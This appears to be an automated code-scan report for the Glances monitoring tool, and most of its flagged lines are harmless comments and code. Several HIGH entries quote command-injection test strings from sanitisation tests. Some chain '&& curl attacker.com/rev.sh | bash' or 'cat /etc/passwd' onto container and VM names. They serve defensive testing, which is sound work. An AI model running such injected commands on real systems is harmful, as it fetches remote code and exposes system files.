| LOW | all-requirements.txt | 201 | python-dotenv==1.2.2 | COMMENT |
| LOW | all-requirements.txt | 221 | # jsonschema | COMMENT |
| LOW | all-requirements.txt | 241 | # via | COMMENT |
| LOW | all-requirements.txt | 261 | # via glances | COMMENT |
| LOW | all-requirements.txt | 281 | # mcp | COMMENT |
| LOW | all-requirements.txt | 301 | urllib3==2.7.0 | COMMENT |
| LOW | .readthedocs.yaml | 21 | # Fail on all warnings to avoid broken references | COMMENT |
| LOW | tests/test_core.py | 941 | print('INFO: [TEST_104] Test memswap plugin methods') | COMMENT |
| LOW | tests/test_api.py | 1 | #!/usr/bin/env python | COMMENT |
| LOW | docs/conf.py | 1 | # | COMMENT |
| LOW | docs/conf.py | 21 | # sys.path.insert(0, os.path.abspath('.')) | COMMENT |
| LOW | docs/conf.py | 61 | copyright = f'{year}, {author}' | COMMENT |
| LOW | docs/conf.py | 81 | # today = '' | COMMENT |
| LOW | docs/conf.py | 101 | # output. They are ignored by default. | COMMENT |
| LOW | docs/conf.py | 121 | html_theme = 'sphinx_rtd_theme' | COMMENT |
| LOW | docs/conf.py | 141 | COMMENT | |
| LOW | docs/conf.py | 161 | # If true, SmartyPants will be used to convert quotes and dashes to | COMMENT |
| LOW | docs/conf.py | 181 | # If true, links to the reST sources are added to the pages. | COMMENT |
| LOW | docs/conf.py | 201 | # 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr' | COMMENT |
| LOW | docs/conf.py | 221 | # 'pointsize': '10pt', | COMMENT |
| LOW | docs/conf.py | 241 | # latex_use_parts = False | COMMENT |
| 45 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH⚡ | tests/test_actions_sanitize.py | 57 | d = {'name': 'web && curl evil.com'} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 75 | d = {'name': 'foo|bar && baz > qux >> end'} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 117 | d = {'meta': {'k': 'a|b && c > d'}} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 178 | 'name': 'web && curl attacker.com/rev.sh | bash && echo ', | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 236 | assert secure_popen('echo -n A && echo -n B') == 'AB' | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 306 | mustache_dict={'name': 'web && cat /etc/passwd'}, | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 176 | """Simulate: container name contains && to chain commands.""" | STRING |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 91 | assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created' | CODE |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 133 | assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created' | CODE |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 166 | domain = 'foo && touch /tmp/should-not-happen | tee >x' | CODE |
| HIGH | tests/test_plugin_virsh_injection.py | 184 | domain = 'titletest && cmd | x > y unique-arg-shape' | CODE |
| HIGH⚡ | tests/test_amp_secure_popen.py | 55 | result = secure_popen('echo -n A && echo -n B', allow_operators=False) | CODE |
| HIGH | glances/plugins/containers/__init__.py | 531 | # Only process if stats exist (and non null) and display plugin enable... | COMMENT |
| HIGH | glances/plugins/vms/__init__.py | 209 | # Only process if stats exist (and non null) and display plugin enable... | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 91 | CODE | |
| LOW | tests/test_restful.py | 116 | CODE | |
| LOW | tests-data/tools/csvcheck.py | 15 | CODE | |
| LOW | glances/stats_client.py | 32 | CODE | |
| LOW | glances/standalone.py | 33 | CODE | |
| LOW | glances/web_list.py | 31 | CODE | |
| LOW | glances/config.py | 182 | CODE | |
| LOW | glances/config.py | 346 | CODE | |
| LOW | glances/globals.py | 302 | CODE | |
| LOW | glances/globals.py | 430 | CODE | |
| LOW | glances/globals.py | 530 | CODE | |
| LOW | glances/globals.py | 677 | CODE | |
| LOW | glances/globals.py | 746 | CODE | |
| LOW | glances/globals.py | 768 | CODE | |
| LOW | glances/client.py | 157 | CODE | |
| LOW | glances/__init__.py | 125 | CODE | |
| LOW | glances/servers_list_static.py | 27 | CODE | |
| LOW | glances/stats.py | 148 | CODE | |
| LOW | glances/ports_list.py | 28 | CODE | |
| LOW | glances/amps/amp.py | 58 | CODE | |
| LOW | glances/amps/systemv/__init__.py | 54 | CODE | |
| LOW | glances/amps/systemd/__init__.py | 57 | CODE | |
| LOW | glances/plugins/memswap/__init__.py | 70 | CODE | |
| LOW | glances/plugins/wifi/__init__.py | 139 | CODE | |
| LOW | glances/plugins/processlist/__init__.py | 957 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 192 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 207 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 340 | CODE | |
| LOW | glances/plugins/gpu/cards/arm.py | 201 | CODE | |
| LOW | glances/plugins/gpu/cards/arm.py | 293 | CODE | |
| LOW | glances/plugins/plugin/model.py | 345 | CODE | |
| LOW | glances/plugins/plugin/model.py | 472 | CODE | |
| LOW | glances/plugins/plugin/model.py | 803 | CODE | |
| LOW | glances/plugins/plugin/model.py | 904 | CODE | |
| LOW | glances/plugins/plugin/model.py | 1306 | CODE | |
| LOW | glances/plugins/plugin/model.py | 1309 | CODE | |
| LOW | glances/plugins/npu/cards/intel.py | 94 | CODE | |
| LOW | glances/plugins/npu/cards/rockchip.py | 90 | CODE | |
| LOW | glances/plugins/npu/cards/amd.py | 98 | CODE | |
| LOW | glances/plugins/system/__init__.py | 82 | CODE | |
| LOW | glances/plugins/system/__init__.py | 182 | CODE | |
| LOW | glances/plugins/system/__init__.py | 228 | CODE | |
| LOW | glances/plugins/raid/__init__.py | 68 | CODE | |
| LOW | glances/plugins/percpu/__init__.py | 143 | CODE | |
| LOW | glances/plugins/folders/__init__.py | 98 | CODE | |
| LOW | glances/plugins/containers/engines/podman.py | 78 | CODE | |
| LOW | glances/plugins/containers/engines/lxd.py | 164 | CODE | |
| LOW | glances/plugins/ports/__init__.py | 169 | CODE | |
| LOW | glances/exports/export.py | 163 | CODE | |
| LOW | glances/exports/export.py | 263 | CODE | |
| LOW | glances/exports/export.py | 297 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 35 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 121 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 199 | CODE | |
| LOW | glances/exports/glances_timescaledb/__init__.py | 90 | CODE | |
| LOW | glances/exports/glances_mqtt/__init__.py | 111 | CODE | |
| LOW | glances/exports/glances_duckdb/__init__.py | 94 | CODE | |
| LOW | glances/outputs/glances_stdout_issue.py | 65 | CODE | |
| LOW | glances/outputs/glances_curses_browser.py | 148 | CODE | |
| LOW | glances/outputs/glances_stdout_csv.py | 50 | CODE | |
| 3 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 341 | # Check if number of processes in the list equal counter | COMMENT |
| LOW | tests/test_core.py | 859 | # Check if history_max_size=3 is OK | COMMENT |
| LOW⚡ | tests/test_core.py | 999 | # Set field to 0 (should be hidden) | COMMENT |
| LOW⚡ | tests/test_core.py | 1005 | # Set field to 0 (should be hidden) | COMMENT |
| LOW⚡ | tests/test_core.py | 1011 | # Set field to 1 (should not be hidden) | COMMENT |
| LOW | tests/test_export_prometheus.sh | 17 | # Check if we can access the Prometheus metrics endpoint | COMMENT |
| LOW | tests/test_restful.py | 90 | # Check if result of first call is equal to second call | COMMENT |
| LOW | glances/web_list.py | 98 | # Add the server to the list | COMMENT |
| LOW | glances/events_list.py | 158 | # Check if the weight is > to the minimal threshold value | COMMENT |
| LOW | glances/events_list.py | 306 | # Add the event to the list | COMMENT |
| LOW | glances/logger.py | 86 | # Check if a specific configuration is available | COMMENT |
| LOW | glances/processes.py | 810 | # Check if a specific sort should be done | COMMENT |
| LOW | glances/servers_list_static.py | 76 | # Add the server to the list | COMMENT |
| LOW | glances/stats.py | 49 | # Check if the attribute starts with 'get' | COMMENT |
| LOW | glances/folder_list.py | 85 | # Add the item to the list | COMMENT |
| LOW | glances/ports_list.py | 94 | # Add the server to the list | COMMENT |
| LOW | glances/plugins/sensors/__init__.py | 367 | # Add sensor to the list | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1168 | # Check if a shortname is defined | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1176 | # Check if unit is defined and get the short unit char in the unit_sort dict | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1187 | # Check if unit is defined and get the unit type unit_type dict | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1317 | # Check if the field exist (avoid error on some OS where some fields are not available) | COMMENT |
| LOW | glances/plugins/folders/__init__.py | 81 | # Check if the glances_folder instance is init | COMMENT |
| LOW | glances/plugins/vms/engines/virsh.py | 22 | # Check if virsh binary exist | COMMENT |
| LOW | glances/plugins/vms/engines/multipass.py | 20 | # Check if multipass binary exist | COMMENT |
| LOW | glances/exports/export.py | 234 | # Add the measurement to the list | COMMENT |
| LOW | glances/exports/glances_graph/__init__.py | 52 | # Check if output folder is writeable | COMMENT |
| LOW⚡ | glances/outputs/glances_restful_api.py | 808 | # Check if JWT is available | COMMENT |
| LOW⚡ | glances/outputs/glances_restful_api.py | 815 | # Check if password authentication is enabled | COMMENT |
| LOW | glances/outputs/glances_stdout_issue.py | 122 | # Display the result | COMMENT |
| LOW | glances/outputs/glances_stdout_csv.py | 98 | # Check if the plugin exist and is enable | COMMENT |
| LOW | glances/outputs/glances_stdout.py | 57 | # Check if the plugin exist and is enable | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | tests/test_browser_tui.py | 379 | # The password should remain as 'placeholder' (not replaced by saved hash) | COMMENT |
| LOW⚡ | tests/test_browser_tui.py | 300 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 317 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 374 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 380 | assert server['password'] == 'placeholder' | CODE |
| LOW⚡ | tests/test_browser_tui.py | 392 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 398 | assert server['password'] == 'placeholder' | CODE |
| LOW | docs/_static/glances-flame.html | 344 | */t=e.nmd(t),function(){var i,o="Expected a function",u="__lodash_hash_undefined__",a="__lodash_placeholder__",c=16,f=3 | COMMENT |
| LOW | glances/outputs/static/public/glances.js | 22 | */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3 | COMMENT |
| LOW | glances/outputs/static/public/browser.js | 16 | */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3 | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | glances/globals.py | 19 | CODE | |
| LOW | glances/globals.py | 23 | CODE | |
| LOW | glances/globals.py | 29 | CODE | |
| LOW | glances/globals.py | 30 | CODE | |
| LOW | glances/globals.py | 30 | CODE | |
| LOW | glances/globals.py | 30 | CODE | |
| LOW | glances/globals.py | 34 | CODE | |
| LOW | glances/globals.py | 34 | CODE | |
| LOW | glances/globals.py | 35 | CODE | |
| LOW | glances/globals.py | 35 | CODE | |
| LOW | glances/globals.py | 36 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | glances/jwt_utils.py | 61 | Create a JWT access token for the given username. Args: username: The username to encode in the tok | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_plugin_lxd.py | 46 | CODE | |
| LOW | glances/plugins/plugin/model.py | 803 | CODE | |
| LOW | glances/outputs/glances_bars.py | 27 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests-data/issues/issue3341-NATS/pub.py | 18 | # To run this test script, make sure you have a NATS server running locally. | COMMENT |
| LOW | tests-data/issues/issue3341-NATS/sub.py | 32 | # To run this test script, make sure you have a NATS server running locally. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | glances/globals.py | 726 | # Otherwise just add the current char | COMMENT |
| MEDIUM | glances/exports/export.py | 255 | """Return fields description in order to init stats in a server.""" | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | glances/gpu_percent.py | 1 | __all__ = ["get_gpu_mem", "get_gpu_proc", "gpu_mem", "gpu_proc"] | CODE |
| LOW | glances/cpu_percent.py | 19 | __all__ = ["cpu_percent"] | CODE |